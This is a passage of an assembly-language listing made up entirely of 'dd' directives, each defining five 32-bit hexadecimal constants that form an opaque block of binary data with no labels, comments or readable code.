		dd 0E73F7774h, 0EBA48162h, 1435435Dh, 330240BCh, 34298CE5h
		dd 4EEDC482h, 5E971301h, 0C305B194h, 9E599930h,	0DC00588Dh
		dd 7CE6D90Bh, 1874E10Fh, 31573C28h, 6F005580h, 0DBEFA7BDh
		dd 359532Eh, 5D757C2Bh,	0B1B01F9Ch, 4006F780h, 0B5BD79AFh
		dd 0A9A00C58h, 0C5A81C68h, 0B41F9328h, 0DC22E415h, 1D410870h
		dd 0B501384Eh, 50EF4D4Bh, 0F857CDB4h, 99601412h, 2AEE1339h
		dd 0A99F0AFDh, 112CED80h, 0E0330319h, 1F83F543h, 52A16DF0h
		dd 2B6441B2h, 40FD33C4h, 0E556A93Ch, 0DD0B3907h, 89E25E34h
		dd 8C008F8h, 5686C4E6h,	3C611D4Dh, 500ACD4h, 854BE061h
		dd 0D902E596h, 537FAF79h, 11D0A0C5h, 40C3D27Ch,	4D184629h
		dd 6D4064E8h, 8A703A9Dh, 271D5580h, 32375EC8h, 0A1FDDA00h
		dd 7CC01862h, 15641846h, 0B6D98808h, 84CC5789h,	11C961FEh
		dd 0ECC4128Ah, 790117CAh, 265ACFD7h, 96FD460Dh,	0D869F422h
		dd 688E208h, 19523C97h,	0CACFE807h, 7EF0D115h, 5321BEh
		dd 70906E58h, 527070Bh,	0D9DC6404h, 5C94657Bh, 0A5590C81h
		dd 3BC5F007h, 2373DFE5h, 705C8449h, 411B9090h, 0F73150F9h
		dd 6812B8h, 4BB67BA0h, 91C118D9h, 0F8D3E19Ch, 0B55C9440h
		dd 88CD49C8h, 0ED4C6C04h, 0D16F014Eh, 4883F95Dh, 0DA14E365h
		dd 242912B1h, 0A00DE4DCh, 48A4DC31h, 3A302147h,	9F7B0B2h
		dd 0B3775DBCh, 0E5DD8403h, 0D470981Ch, 1AC6B280h, 0DC0A72h
		dd 8125A57Dh, 7A90C10h,	0A2696504h, 14C05D2Dh, 0B7D3BFh
		dd 0A67D99D9h, 0FE963949h, 2005AE8h, 3F55545Dh,	0E55C8704h
		dd 0ACC1109Eh, 76500D0h, 0D9E3021Fh, 0B30063B0h, 0D381B7DBh
		dd 7E9188h, 4A970B5Eh, 0C7A4D52Eh, 0A59ECA0Eh, 80E3AB59h
		dd 0A296C28Bh, 2898EEB3h, 3F80B1F1h, 1281E6FEh,	7CC45565h
		dd 800FFDDAh, 340C27F8h, 0A8EA455Ch, 7CC6C48Ch,	4CF77C4Fh
		dd 0AD2C8E0h, 82E4893Ch, 0A114D796h, 0DE081844h, 2680CD7Bh
		dd 79E51840h, 0CA095605h, 3F2E3C9h, 0A089344Ch,	24C6F37Eh
		dd 42EC1C6Ah, 5620B8E3h, 904A1C5h, 5FD141AFh, 4B3F889h
		dd 841476F9h, 2B033439h, 0CE948Ch, 0C35E7C57h, 0BAA2455Fh
		dd 84AC3Eh, 4A65348Bh, 60DD4C5Bh, 2D75F044h, 6E1D06CFh
		dd 771F8109h, 14F80E14h, 10647F0Dh, 5C0ADFF5h, 8C90F731h
		dd 6181124Dh, 97D2FD02h, 0C144BDCDh, 31A68574h,	3AEB1110h
		dd 38178CDAh, 0C0A4E15h, 0CDFDF711h, 810474D1h,	5964418h
		dd 109C04C8h, 24B294A9h, 4806484Fh, 51176Fh, 4996EED6h
		dd 98A83D9Bh, 0D7C35600h, 6C83816h, 0A6D89B44h,	0E2210981h
		dd 1C980898h, 19CFD218h, 482DA860h, 6429CC34h, 0AA840EACh
		dd 572013ECh, 0A70509FAh, 5CB0A130h, 94E3C800h,	0A8D26FC6h
		dd 60AA14BCh, 54865104h
		dd 0B9E823h, 0B9EF6F0Ch, 0F4913EC6h, 18E1B80Ch,	9244E729h
		dd 5D2E656h, 0E33BC6F2h, 42100805h, 9D49AF84h, 9F09F8D0h
		dd 0CC6D12C6h, 0DD20446Bh, 617722CEh, 0E034B4FCh, 0D863187Fh
		dd 0EDF76144h, 21F52300h, 41582B57h, 0A1E56EBAh, 68109B69h
		dd 0D1204366h, 153C2A82h, 0C05AEA8Ch, 1D37BC21h, 0F13A70F5h
		dd 2FD68060h, 385C7B56h, 4D51C61Eh, 0E7003921h,	0F2026F9Fh
		dd 0F30FEC0h, 46D6A852h, 0F44BD901h, 0C43030C3h, 61513C30h
		dd 0FAD873FBh, 22B93AC6h, 8DA97180h, 62852A0Fh,	0B52C51FCh
		dd 9308E814h, 0E3570010h, 718D68B4h, 944F2D28h,	7B16E490h
		dd 5021F1C5h, 6F11DFDCh, 0F8A98020h, 9E58925Ah,	63113C14h
		dd 3B2AB800h, 0C6FB1EB4h, 80BA160Fh, 929AEB1Ah,	28665Ch
		dd 8574C782h, 6EE29C67h, 0CDF59E09h, 0F8248A5Ch, 94CBDA02h
		dd 0B8CD439Bh, 2DF0615h, 3AC6AB33h, 50C9457Dh, 6498FC05h
		dd 7808810Fh, 0DC0B1CDAh, 148D829Ch, 833CB89Bh,	0CB6F003Bh
		dd 549E9FEEh, 330501BBh, 1CFD43B6h, 0A57198D0h,	5C0CB019h
		dd 407A1806h, 3073325h,	0CCF74B37h, 86154441h, 7C71E6F9h
		dd 825557ECh, 0DB3118C0h, 0C04CA541h, 0C9070795h, 6FFB71A0h
		dd 7FC09E61h, 3A38702Ch, 75174C7Ch, 2C1D59DEh, 0E7692302h
		dd 0F5C90150h, 55B510A5h, 0D95E603Dh, 785CBB22h, 0F393800h
		dd 237F0C44h, 0BCB13Dh,	34469D97h, 0F01E1018h, 0C900DC68h
		dd 679C7C41h, 45290B50h, 0AC068F5Dh, 4890C144h,	54B1F520h
		dd 18ED6CE0h, 18C10DC8h, 0A8B9B72Dh, 5E917105h,	0B057ECC8h
		dd 140D2AC4h, 916F77A0h, 5F9F0894h, 6423FE93h, 72CC8030h
		dd 850D0135h, 98A1CF43h, 0FD5081BEh, 2A597E66h,	131C8824h
		dd 49EC8CAAh, 0F4042E40h, 0C0B450C2h, 77975D58h, 15EE042h
		dd 6CE79C8h, 0F8C693A4h, 0F00186B3h, 68E53071h,	0A88B1355h
		dd 54028ADFh, 9802B835h, 0A5BC848Fh, 0ECF8B240h, 0AF48CCE4h
		dd 0A05430AAh, 6A33DA1Ch, 14ED901Fh, 0AF00703Dh, 501BD0EEh
		dd 0A990283Eh, 235EB005h, 0A89096E2h, 54D17757h, 0E6A8F9h
		dd 0E0C3DD9h, 665EC616h, 24517B7Fh, 71A88CBCh, 982328CAh
		dd 42F92068h, 0C6901E1Fh, 486C3489h, 48AD4B48h,	4D151CF6h
		dd 761D9C1Eh, 0FBD50098h, 3C5A4731h, 2EE20101h,	14BB8697h
		dd 15887C8h, 0B6660953h, 561168EDh, 0FC6C4084h,	413D78B0h
		dd 8044284Eh, 1A71A926h, 0AF431C5Dh, 2810839Ah,	201447A5h
		dd 4A90DB0Fh, 98A00849h, 5CFD4B94h, 5585F446h, 0FEC40911h
		dd 0D277C890h, 2E3D3E05h, 0B4065F0Fh, 1A315318h, 0A0ACB9D1h
		dd 7661BC60h, 0E8625781h, 59044068h, 225016E2h,	991056F8h
		dd 0E804C6D9h, 134DB87Bh, 0AAE11002h, 0CC7404E5h, 7D006190h
		dd 7952F5E9h, 1F7F037h,	0BB433A9Ah, 57B1246Bh, 5799E1DCh
		dd 876C01F9h, 0F8A068BFh, 2034A325h, 37BBDA10h,	5BE40094h
		dd 7210B2E6h, 0E0042E5Ah, 15F43312h, 714B3081h,	80BEAFD1h
		dd 0C30961Eh, 0B5102758h, 0F06E6014h, 8233074h,	3A209ED4h
		dd 642EF112h, 1E608108h, 9C149978h, 0F1556289h,	276458B8h
		dd 7E200015h, 0A268E3B6h, 0ACB40558h, 0AC778C4Eh, 8012682Ch
		dd 8892A09Ah, 8A79E29h,	0B8DB3C0Ah, 0E244ACA1h,	67120C8h
		dd 0FA99EDBh, 294CE8AFh, 791C3019h, 1A2F5561h, 210BA997h
		dd 65982440h, 1457A888h, 181D016Fh, 5BA9490Ah, 99969F8Ch
		dd 541471BAh, 939461E4h, 0D7051B64h, 8A26C13h, 6822884h
		dd 48F14D71h, 0C9BB34h,	0E62CC3E0h, 0F27010A2h,	0B5DD560Eh
		dd 12C04064h, 0C5AEF6D3h, 29931B8h, 2FFE174Ch, 4E0F0468h
		dd 505DA731h, 7C82E801h, 0A831DAD1h, 0E38BAF60h, 2F931A01h
		dd 5ECE6839h, 4DF170h, 8834D706h, 22F95F52h, 3ECFE000h
		dd 25DF7C3h, 0A0460099h, 9895589Bh, 2601A121h, 7E916F6Ch
		dd 80F302F3h, 30869062h, 0FE4065E6h, 0C241B7D1h, 4798C0h
		dd 95579E6Dh, 238F163Eh, 7A2833Ah, 0B6E949Bh, 0F7B08717h
		dd 7F86011h, 43D1EB5Ch,	0F6246136h, 577001E7h, 8DC844D2h
		dd 0F8EA5704h, 0E6CB6980h, 909D9395h, 0F13300D8h, 6A837B8Ch
		dd 9B00DBD6h, 8A155C69h, 3AC86B5h, 57248265h, 0C2C0B4D0h
		dd 0E71F0231h, 0E40A195h, 9B633584h, 979C0123h,	0A06B458Fh
		dd 0F47EC05Fh, 0F60CD900h, 7DE31A4Fh, 0F8FA30B3h, 0A65FE540h
		dd 976C40h, 6E909662h, 0A7478F6Fh, 0B549D00h, 0AC8382CBh
		dd 0EC40331h, 0C1447DE7h, 0D30C3088h, 0A2925F05h, 0F8C0850Ah
		dd 98789095h, 94B74838h, 5FE8BAh, 9443D9F6h, 985E5C6Bh
		dd 23A86200h, 448F666Eh, 0B9F0083h, 0FDB5865Bh,	53002B52h
		dd 7972E00Ah, 742C338h,	0A85EE202h, 0E387D0B0h,	25008D21h
		dd 32DCE183h, 4E9F79h, 0DF18B608h, 1E4939C1h, 0FD73ED0Ch
		dd 10C84086h, 835DE7h, 0A21CE389h, 3E26423h, 0A39F5ED2h
		dd 0B998F459h, 6500AEFDh, 62ED19EEh, 0C434B8h, 31E77494h
		dd 8B5AB16Dh, 647900F5h, 8C66E5ACh, 0CEE1F0ABh,	98D10068h
		dd 58A2A044h, 0EF003370h, 0AC387696h, 7C9A908Fh, 741500A1h
		dd 6013FC91h, 0A2002285h, 0F835B7CEh, 0E6DDD15Eh, 4BA40067h
		dd 0A6F33A87h, 8E00783Eh, 6A425FCAh, 0A35955h, 2FF9832Dh
		dd 0CFDF4749h, 0C1002698h, 46E70494h, 7E626982h, 92630080h
		dd 8F6B3991h, 0A0009B2Ah, 33A40A5Eh, 2E52F2h, 0C5FD1DEEh
		dd 9505C2B3h, 80E09F39h, 844CB16Ch, 3CD4163Fh, 8C856E2Ah
		dd 829C4230h, 5C2181ACh, 73E42451h, 0A30899FFh,	0F47F04h
		dd 820C192Ah, 0B90A20C0h, 0E8148601h, 0A6648873h, 0F3B0344Ah
		dd 7000BC7Ch, 587E016h,	0E8681E2h, 0F804FB44h, 4DC31C15h
		dd 1000B91Fh, 6EBB8B9Eh, 37F8436h, 76E081D5h, 16A9700Dh
		dd 3F287821h, 0B88C435h, 0B549315Dh, 7113A4C0h,	26D4C11Ah
		dd 40185438h, 3ADAC9A0h, 0B5632202h, 0B10D2F60h, 2D02C71Ch
		dd 4B80805Ch, 0DD30A0A9h, 911200EAh, 25CEDC5Ah,	0E706C56Bh
		dd 16E19BDFh, 0D4770188h, 0F7594365h, 0CECAE050h, 6FF3FE16h
		dd 0FC6CF8B1h, 0C070C50Ch, 640CB591h, 11174D06h, 710C0BF3h
		dd 9C619CDCh, 0A109AD94h, 711553C0h, 804158F1h,	221017A5h
		dd 0C4B6F8E1h, 80A1A903h, 33D00143h, 3BDEB67Fh,	4507D261h
		dd 0D0262F03h, 1D171102h, 1810F2E6h, 827214Fh, 28B73000h
		dd 9B4483D2h, 94CA003Fh, 9EA89C97h, 0F04EF7E1h,	0A63BD880h
		dd 0E36E3061h, 64A94978h, 0FECC6341h, 0A8A0ABC3h, 3FD47Dh
		dd 0BD70558Ah, 0A7D5DDFCh, 0BA593200h, 92D79A5Fh, 4A305EF0h
		dd 4058DA90h, 0DE2A2F5Ch, 9110E221h, 423004Ah, 4E41BC30h
		dd 496F00F1h, 2558D27h,	0B81DA579h, 9944A177h, 78F80B0Dh
		dd 9FD08730h, 6301F04Fh, 883C5405h, 9EC806DFh, 0B5C63CF6h
		dd 1704D0CAh, 0EF009722h, 0F92E28Ch, 0EC61E10h,	4712609Ch
		dd 4E017889h, 902F8B93h, 8080B368h, 602CA94h, 0D60C771Eh
		dd 0D312EBC3h, 0F8ECACCFh, 41D8A90Bh, 0CBA0A8C0h, 3D716D09h
		dd 0DA1400CFh, 0BE60BB33h, 29183EA4h, 0C1435918h, 0D4D4069Fh
		dd 13D73989h, 0B628C4D2h, 5CA80389h, 0B240C06Dh, 0D14158D1h
		dd 0B1218026h, 6742A828h, 9C8A00E7h, 755BB068h,	3E00C65Ah
		dd 7EBBF27Bh, 33C96DB8h, 0DE90C37Dh, 18A1E1h, 5468E3h
		dd 313D66Bh, 61CD179h, 4A1B10Ch, 1ADAD0B6h, 0E8B950E1h
		dd 0D0F1547Ah, 0B244FD63h, 0D6DD1716h, 370CD30Ch, 88D0094Ah
		dd 73D6D4F6h, 3C26FAAFh
		dd 3B15CDA6h, 9501CC59h, 5C332B9Fh, 0A180CFC3h,	6325EF31h
		dd 739CE617h, 70ECA322h, 25DC1C08h, 486D000Dh, 0AD494F41h
		dd 9CB04B60h, 80BA1A31h, 0D7126554h, 0DC04E2F8h, 6601C199h
		dd 0C4D71C5h, 0F7F8C01h, 89CE711h, 5680EA88h, 0C8A97118h
		dd 6F830C77h, 2550630Ch, 34C99E88h, 0F8800A57h,	0D599C2D4h
		dd 0BBA054C7h, 0F653867Ch, 30C4F2ACh, 0F4F0E97h, 0F939B480h
		dd 15ECA850h, 0FE70C6B6h, 11E31CAh, 3A415945h, 0FD687FEAh
		dd 7105A5E8h, 697B0236h, 526D4932h, 0E15CA069h,	10C1A8B5h
		dd 804C1749h, 6D59A82Dh, 22414328h, 5DAE001Bh, 0FBA6C2A8h
		dd 0A9194AABh, 0CB58603Ch, 0E01DDC2Dh, 0A794C0D5h, 5C343890h
		dd 221A4F22h, 3502164Ch, 0B58A36C9h, 0F77C402Bh, 92C5300Eh
		dd 0E02EE429h, 63E53327h, 7C3FD090h, 0C118056Bh, 82EE76E7h
		dd 0E9863040h, 31008019h, 56CFD0E6h, 25E3B7A3h,	5C66CAC6h
		dd 43253498h, 4CECE0C9h, 0AB69C418h, 22A9C01Ch,	2497C8E5h
		dd 0DB2015A8h, 9200AA47h, 0D10401DAh, 1FABA179h, 95DF643Dh
		dd 771E9078h, 9B61DE2h,	80A3DDB3h, 0ACE05418h, 14151E0Fh
		dd 90679Bh, 0CB5F69E5h,	0EF3AB51Dh, 90336C64h, 0ED4D30E0h
		dd 0B2AF64A0h, 958574Ch, 581B378Fh, 0F35D3044h,	0C63E4620h
		dd 12C4F401h, 28E4E996h, 0EA023026h, 0D84F09D6h, 0F310C031h
		dd 0FA24D6E1h, 1500CEEFh, 3031DE4Ch, 0FD9CFAE0h, 29BC56F2h
		dd 67DCD35Ch, 0A4BB1A70h, 8CAD0B2Eh, 0E00F5BA7h, 14044AE8h
		dd 3888335Ch, 55693E77h, 7030C64Ah, 0C3026146h,	804F0AD6h
		dd 0F410C231h, 0DE56D6DAh, 17583CF4h, 3C40054Bh, 0C9BB26CCh
		dd 7464485Dh, 7500F922h, 0EA0376EDh, 25DF51BCh,	0ECC83B02h
		dd 150333D1h, 7A97D2F6h, 9940D007h, 0E6C1FD1Ah,	2545430h
		dd 596AB447h, 0F06094DCh, 0B7E61674h, 7D696D0Ch, 146CD0B0h
		dd 0D8E65524h, 8C18B450h, 5AA82E04h, 2762306Dh,	0C326AF22h
		dd 0B78C9800h, 6CCA07D6h, 0D5714C30h, 0E874C4E4h, 189280ACh
		dd 0C91C0Eh, 80454AD7h,	6BFBEA76h, 0E23C8752h, 0E3A33021h
		dd 0D9AC2216h, 50085C16h, 2F5BC0E1h, 0EA21DE31h, 3529110h
		dd 0F300322h, 0F16412AAh, 3EDCE45Eh, 0DA84E704h, 0CB8BF1Bh
		dd 5D7D4909h, 49CF0C1Bh, 18164C91h, 0CA8582Ch, 704C6026h
		dd 0A80064A5h, 0B849AF5Dh, 40E0A94Fh, 9EEA3141h, 0AB70049Fh
		dd 4CA216h, 0DFD124CDh,	4B68BF30h, 10ACC145h, 7290326Fh
		dd 45F0702h, 7E1575A3h,	0FF1638CCh, 0CBEC40C5h,	0D6E6EFCEh
		dd 0DCDFE701h, 0C77D68E4h, 751C442Fh, 6034A1F4h, 0E307EB68h
		dd 5A49032Bh, 0E8B8AC84h, 8012807Dh, 465C0494h,	4C13E53h
		dd 66142B19h, 305DA082h, 0E11D6E7h, 1A84E04Fh, 0DEF803E5h
		dd 80C3EBD6h, 176FE1AEh, 4E8C6E7h, 5BAD47Ch, 9820FE34h
		dd 2C4ACDE5h, 4BC533Bh,	0A4211B01h, 64428C98h, 0B011D23h
		dd 0E89CC371h, 0F4403B19h, 5371145Ah, 50CF19D2h, 180840E3h
		dd 0E671080Eh, 0EFC6109Ch, 712AC071h, 0F0F2A9F6h, 0AE1605E0h
		dd 0D804DD88h, 0B501BED7h, 0BE55BC9Ah, 0D09208D0h, 3AB6172Ch
		dd 162023CCh, 0FF70001Ah, 0E1DB31B4h, 0A429532Eh, 482E37C0h
		dd 0BAA8266Ch, 25151DA8h, 6088282Fh, 0D5386300h, 0B411876h
		dd 0DB22C47Fh, 0B560D851h, 24A14961h, 80685FACh, 0A028FB30h
		dd 0E0BABDE1h, 145C349Ah, 9F7850A4h, 4C84133Ch,	0DA4C7A54h
		dd 0DE2B005Ch, 2F3910B2h, 0A1310CBEh, 3741ADE1h, 0B8204E00h
		dd 0DFA3F7CCh, 90D46486h, 0D55640B0h, 0C1385C2Ch, 0A3C5B611h
		dd 0F258227Eh, 72403050h, 2AF6A9ECh, 12A60203h,	16B403D3h
		dd 18A14F88h, 0D9A0E8F8h, 0E17C8C33h, 0C95F9047h, 55880E24h
		dd 1A4A714Bh, 0AF6C9EA4h, 0ECE3A442h, 522BC981h, 0B0466C08h
		dd 5516DB46h, 3ABC092Fh, 104D64B1h, 3E301D24h, 0AB0F916Dh
		dd 6E42385Dh, 147069D1h, 0D6E80651h, 0E183CCAFh, 0B005271Fh
		dd 8569780Bh, 77D0490h,	0F1260F1Ah, 0F2366FC6h,	803097CCh
		dd 1F12B094h, 5032DFEh,	0B8397178h, 305C16D4h, 0F87738E4h
		dd 0E11B62E5h, 1CE9E124h, 0A849F06Dh, 67875096h, 4DC35394h
		dd 3779001Bh, 36544EAFh, 0E371875Eh, 4F88E500h,	6E081DC0h
		dd 0B1A52799h, 28F3D46Eh, 1EF2080h, 912636EEh, 0C4E5772Ch
		dd 760110A2h, 120F94B7h, 5FF8833h, 8CA9A728h, 0E1E8414Dh
		dd 74EB65D9h, 0E8C262Ch, 4F0FD6E8h, 0E5198491h,	0D6DFF100h
		dd 0EF00877Ch, 0A94AAA95h, 556E0D3Ah, 0EAD988F8h, 1F6A06DCh
		dd 8FF5C19Bh, 0DBE378A2h, 0E886102Eh, 423D5B01h, 0FD33DF09h
		dd 40582C28h, 0E0B34079h, 0AE658800h, 26FEE641h, 5D4A0903h
		dd 8205C3Ch, 52B027EBh,	2EE86B79h, 54E7DA00h, 46CBCFD1h
		dd 6310058h, 78F325DBh,	0E12D22F0h, 0B7E46016h,	496027A1h
		dd 0E2570CC1h, 0A4E27F04h, 0C4304EE2h, 56C6003Ah, 41495401h
		dd 58C140F5h, 1ACCA99Ch, 262AE824h, 44C85594h, 710D6007h
		dd 189C23DDh, 64EC08h, 2711654h, 0E901BCBBh, 32689F67h
		dd 5ADAAD49h, 18332220h, 703BFC1Dh, 0D4466828h,	2C301E02h
		dd 14E7F2DEh, 30062500h, 50C63D8Ah, 0B225079h, 4A70D634h
		dd 195F2C26h, 0D720A490h, 10565C26h, 31028C71h,	886D55A8h
		dd 0AA001640h, 4ED6A861h, 1250E352h, 20E42220h,	3CA1C9C0h
		dd 48242094h, 4981802Eh, 81E53555h, 9A383DF8h, 4BDF1624h
		dd 2BF0F0C1h, 80A666F0h, 715918FDh, 5ADE292Fh, 128C0E8h
		dd 7E010530h, 3F274507h, 2F47657h, 67883E20h, 0F31090DCh
		dd 21182019h, 29F112FBh, 69483D18h, 85303853h, 8261575Ch
		dd 1D77C8C1h, 4BB42000h, 893A723Ch, 22A5EDC9h, 50C5438Ch
		dd 2AC43CA8h, 0F0B93309h, 0C1C30C84h, 0AFE143A0h, 0E04411h
		dd 178A1536h, 10EFEEB9h, 57068314h, 9E2160A3h, 0CA2378Bh
		dd 1432553Bh, 9C3EDEA9h, 90E5B7D1h, 4C884D04h, 2F8A3B93h
		dd 78610573h, 437C9713h, 0F1375CA4h, 0B7474101h, 52742E1Dh
		dd 4FA24823h, 0B8B330h,	273F6F0h, 37C347FFh, 5C501BECh
		dd 76888FC0h, 0CEB927A1h, 52ABC404h, 0C02A6C08h, 4F0BD6C4h
		dd 0D808843h, 0DF10D6DCh, 71072372h, 0DE51ADEEh, 0D6197572h
		dd 8BCA001Ch, 5DD1701Fh, 0C4B81A5Ch, 9C016601h,	250E4C31h
		dd 0BA146058h, 0D5442CB6h, 2D301F60h, 110ADE23h, 7260054h
		dd 4A2C9430h, 0DA232D2Bh, 6FC54868h, 5DDC0E54h,	4249100Bh
		dd 27819D2h, 8C15A470h,	1FA82B1Eh, 0D88B5852h, 0A863A400h
		dd 0C20E5AB5h, 7820A971h, 0D03B5ABEh, 0D275F194h, 44FF1228h
		dd 1B499200h, 0DC785E54h, 886F5814h, 37A72980h,	4C303292h
		dd 0CB38D9E0h, 0B8147877h, 1381C4B4h, 0FDF4B498h, 0D8F62CA0h
		dd 0EEA5F00Fh, 5704A5F1h, 7CA298C4h, 2A304EF2h,	0DBA30B48h
		dd 0CC806A69h, 3D23DDABh, 0E001EC4Fh, 211995C8h, 4420CF02h
		dd 9E8C035h, 392AFD14h,	9C09F466h, 4228B7C9h, 0D9EA4264h
		dd 18E77148h, 0E32226F9h, 41B74078h, 61825AE9h,	203C5010h
		dd 8CDDB8h, 662882BCh, 1B4C70E5h, 0A7ACDE3Fh, 54C2594h
		dd 1E8064ECh, 0F51AA548h, 5882BD14h, 40685284h,	0A27536AAh
		dd 180370A1h, 0E9710809h, 0F0C4789Ch, 7160584Fh, 4176EA95h
		dd 60C7E106h, 4990A7Fh,	0F3269E35h, 0F0E2C5h, 0C24A0CF4h
		dd 1DF7C8Ch, 0F6537A4h,	61B17596h, 3E482CA2h, 99348B25h
		dd 9E44787Ch, 5C744A98h, 30002146h, 6DE632FCh, 0BDEAA622h
		dd 0F231EC90h, 57930858h
		dd 59B8103Dh, 8AA58407h, 9AC0684Dh, 49B4A1A2h, 0E5CCA451h
		dd 8E092F09h, 48005B5h,	40402420h, 0BD90F0A4h, 97D67600h
		dd 6E8D4254h, 0E26C0B11h, 4C796260h, 23150E00h,	7784B4DDh
		dd 0D277E0E1h, 48608799h, 0DD475482h, 0D046E7h,	0AC597BBFh
		dd 490594C8h, 97CEE402h, 0D2E72396h, 88135E98h,	92F89164h
		dd 0B4A07300h, 60FB3179h, 61B00EE6h, 0DC021442h, 0BC62C99Eh
		dd 41CF8C81h, 743428B5h, 0A94A6B1Fh, 0E8235D56h, 6F0BEC13h
		dd 780034F2h, 2C4EEF33h, 0F7121Ah, 2173742h, 6DBD5879h
		dd 0FDCD8317h, 0DC3590D0h, 86F2E0h, 8C99D861h, 69B979C8h
		dd 6E40E501h, 66B56FDDh, 3014E452h, 5608A832h, 6440906Dh
		dd 2AAB4128h, 0B0FF1DA8h, 0E201A5F3h, 52807FAFh, 0E005E095h
		dd 0F01FBD9Bh, 7CFB9E28h, 0D9E500C4h, 842BA6Ch,	25C9176Eh
		dd 3340C110h, 1C3C3D95h, 24C9979Eh, 0D18E0C23h,	28A91449h
		dd 7B9C9052h, 0DEAC40DEh, 992BC474h, 0B3CB7922h, 0AA3BF070h
		dd 9C2CBA0Eh, 0A0A9E393h, 94780E61h, 6704B987h,	0B394C17Bh
		dd 159DD5E7h, 8AC2A0B0h, 0C0586C60h, 182B58A0h,	40F23D81h
		dd 0B4B4EF04h, 42458B28h, 264474C4h, 80BC964Dh,	34A8A1C8h
		dd 7F03EAF5h, 0FA07542Ch, 3B581381h, 84A88913h,	511CF190h
		dd 0C529F422h, 601BE4B4h, 0F35D2Dh, 6C7E00Fh, 6FEB178Ch
		dd 0ABA9D112h, 20713CB4h, 0F67D64E8h, 0ECC1BB2Ch, 93B48C42h
		dd 2A9E680h, 0A9975B30h, 10F4299Ch, 0D80829BCh,	917895A5h
		dd 85DF8054h, 27330639h, 3818385Ch, 0A8C0AAE9h,	352463E5h
		dd 0AD3327E6h, 53EF1002h, 0E7A78CE9h, 518425E0h, 93130CA8h
		dd 5CF134A2h, 7B1A8400h, 19A71EEh, 31C5DC4Dh, 0FDA75B97h
		dd 305C40A0h, 7702E20Eh, 8C794B24h, 595CC408h, 0A871404h
		dd 709CD271h, 13510E1Ch, 39E00971h, 0EF87A64Eh,	639F5601h
		dd 0EE894BBEh, 156DC884h, 38849105h, 0B5C9E08Dh, 6680097h
		dd 603D2EA1h, 0E5439958h, 6607A203h, 0FADC4BADh, 33406A80h
		dd 2E02018Bh, 556DAE9Ch, 0BC0C2861h, 0BB008C1Bh, 24093A69h
		dd 0CF01E08h, 1F4CB6B8h, 0E000D7F1h, 533F5F9h, 2837367Fh
		dd 0F5D4564Bh, 100A183Ch, 0DE94B5C5h, 0A57E8A00h, 7FB9F9E8h
		dd 21AA17E7h, 0F90D0FDh, 947DD22Fh, 697EDE00h, 4F41B22Dh
		dd 0E1EC0B3Fh, 6C209C54h, 89700D5Ah, 0DA0E989Eh, 0F230EB4Bh
		dd 1B1D1064h, 0B4B72821h, 28C4E2B0h, 0F0B278B8h, 953027F2h
		dd 0A99E0282h, 0EBF41F83h, 47A6E440h, 0F6DD9B15h, 0C5C840F0h
		dd 68446E4Ah, 1CC74FC6h, 90A8BCC4h, 0F794CAA0h,	7C1F691Eh
		dd 68EFDCCBh, 824BD428h, 0EB7958D1h, 0DA003618h, 96B414D9h
		dd 0C110B8A9h, 9813B758h, 693024BAh, 890DD030h,	0BF8DA16Dh
		dd 23E0D403h, 2B0331E2h, 13793112h, 0A2E8418h, 4F389C00h
		dd 19B1C217h, 9DE03913h, 0CB793C04h, 829F7021h,	0D7C99C31h
		dd 0FC30680Ah, 7CA91595h, 213A5027h, 7B255E40h,	77484045h
		dd 13575AA1h, 0C86C8BB8h, 2B14C04Fh, 8B12F388h,	68F0E07Dh
		dd 9EAB04AAh, 4B35FD1h,	34F3E574h, 92314AA2h, 34BEE60h
		dd 0ABB7831h, 4D89569Eh, 19F98023h, 0D09DC6C4h,	8E1B073Eh
		dd 8360E1E2h, 4C91A950h, 9C347E18h, 9D8300C4h, 590FC877h
		dd 2E3303D4h, 57EBE66Ch, 138CC88Dh, 0D00E18A2h,	9A95C483h
		dd 21016DF3h, 7FE5C5CAh, 689B9CDCh, 0E3A2E8B5h,	1FE02C4Dh
		dd 38A9BE2h, 69E62AD1h,	1EF8D557h, 2F75C6E8h, 0B1F89A12h
		dd 0CDB5C13h, 0E5BAB980h, 0A15C55D7h, 242773E4h, 1A9C915Ch
		dd 0DF04A063h, 14146543h, 4CB2A410h, 673049B2h,	84500015h
		dd 7E708995h, 0B800EE78h, 3280B264h, 95455149h,	13102410h
		dd 59ACB984h, 319E181Ah, 71C0A307h, 7ED41185h, 52F2A862h
		dd 1205031h, 35D12663h,	0E3658470h, 0D8FC81EDh,	80B60027h
		dd 11405E5h, 8CDFD478h,	99136DACh, 0A041C01Dh, 52CAC69Bh
		dd 4A6E3F0h, 0D1701E0Fh, 6528E085h, 631CE201h, 5D714918h
		dd 9C0C6868h, 4B690FE1h, 314EE690h, 276194CCh, 0A0A04A5Ch
		dd 0D761546h, 0FD2D1A09h, 0BBF8A3CCh, 0E73BB949h, 95DFAC0h
		dd 0D82F6EABh, 31EC9788h, 9DC5FEF1h, 11801531h,	38BADE61h
		dd 0BE2806CCh, 5820FB6Ch, 0F076E024h, 0B4168F0Fh, 0F9EC1184h
		dd 43343048h, 25D8AC51h, 224CF216h, 5890C081h, 3C0D94B1h
		dd 0B8D03155h, 9F785Eh,	0CE0C4A4Fh, 0A621D60Dh,	34AC2977h
		dd 3B4D9722h, 1D2133DEh, 21D0B11Fh, 46A42092h, 29F9B7D2h
		dd 59C11034h, 5CA6BFC8h, 21C4674h, 0CB084F21h, 80409E90h
		dd 0A5F1BFE4h, 4C219140h, 7BE70478h, 5CA218D5h,	0D8828A74h
		dd 88084788h, 0E46D1659h, 8908D8ECh, 80244E01h,	0B9DEE520h
		dd 0BC003CFBh, 0A89B68A9h, 2AB6226h, 0E82EE7FDh, 54913D7Bh
		dd 0CB0410C7h, 235913C5h, 832C04E6h, 0CA5600F0h, 90588C9Eh
		dd 200209C8h, 34F98250h, 7708C051h, 0C4A59924h,	5488DE92h
		dd 0C5710F79h, 6C811A3Dh, 842BE782h, 50E64558h,	64C8700h
		dd 0E1259EE0h, 71584877h, 0C910FFD5h, 9A9F40F8h, 84B8075Ch
		dd 0CC8D2F38h, 319BFDB8h, 70D12BACh, 7006B139h,	88A6D975h
		dd 0A2F05D25h, 35B74D8h, 8AE88694h, 99977372h, 4200DACh
		dd 2C608ABAh, 1098046Bh, 748212F0h, 64F90B90h, 0E5640CE7h
		dd 0F0618E60h, 8F027873h, 0A9F2367Ch, 5EDC5E04h, 80E51B21h
		dd 99F39FFCh, 0E1723664h, 0E582D805h, 3CE17970h, 51ADDA30h
		dd 74EAA422h, 319C84F4h, 0BC00E0A4h, 0D214EE04h, 0AC1220E3h
